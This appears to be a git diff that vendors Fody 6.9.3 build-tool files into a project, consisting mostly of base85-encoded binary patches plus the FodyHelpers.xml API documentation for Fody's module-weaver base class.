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 A5C8xG literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml new file mode 100644 index 0000000..958b7bf --- /dev/null +++ b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml @@ -0,0 +1,293 @@ + + + + FodyHelpers + + + +

+ Base class for module weavers. + + + + + The full element XML from FodyWeavers.xml. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with level + + + + + Handler for writing a log entry at a specific level. + + + + + Write a warning to MSBuild. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Handler for writing a warning. + + + + + Handler for writing a warning at a specific point in the code + + + + + Write an error to MSBuild. + + + + + Write an error to MSBuild and use for the file and line information. + + + + + Write a error to MSBuild and use for the file and line information. + + + + + Handler for writing an error. + + + + + Handler for writing an error at a specific point in the code. + + + + + Handler for resolving s. + + + + + The current s. + + + + + An instance of for processing. + + + + + Commonly used s. + + + + + The full path of the target assembly. + + + + + The full directory path of the target project. + A copy of $(MSBuildProjectDirectory). + + + + + The full file path of the target project. + A copy of $(MSBuildProjectFullPath). + + + + + The full directory path of the XML documentation file, + if generating the documentation file is enabled in the project. + A copy of @(DocFileItem->'%(FullPath)'). + + + + + The full directory path of the current weaver. + + + + + The full directory path of the current solution. + A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL + + + + + A semicolon delimited string that contains + all the references for the target project. + A copy of the contents of the @(ReferencePath). + + + + + A list of all the references marked as copy-local. + A copy of the contents of the @(ReferenceCopyLocalPaths). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build. + + + + + A list of all the runtime references marked as copy-local. + A copy of the contents of the @(RuntimeCopyLocalItems). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build. + + + + + A list of all the msbuild constants. + A copy of the contents of the $(DefineConstants). + + + + + Called when the weaver is executed. + + + + + Called when a request to cancel the build occurs. + + + + + Return a list of assembly names for scanning. + Used as a list for . + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Called after all weaving has occurred and the module has been saved. + + + + + Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed) + should be removed by Fody after a successful execution + + + + + Abstraction for the MSBuild MessageImportance. + + + + + Defaults for when writing to and . + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Decompile assemblies using ildasm.exe. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Verifies assemblies using peverify.exe. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Uses to derive the current directory. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Replacement for . + + + + diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll new file mode 100644 index 0000000000000000000000000000000000000000..4b20e4adf99bfe8884fb2267463c760e47a6d762 GIT binary patch literal 41984 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 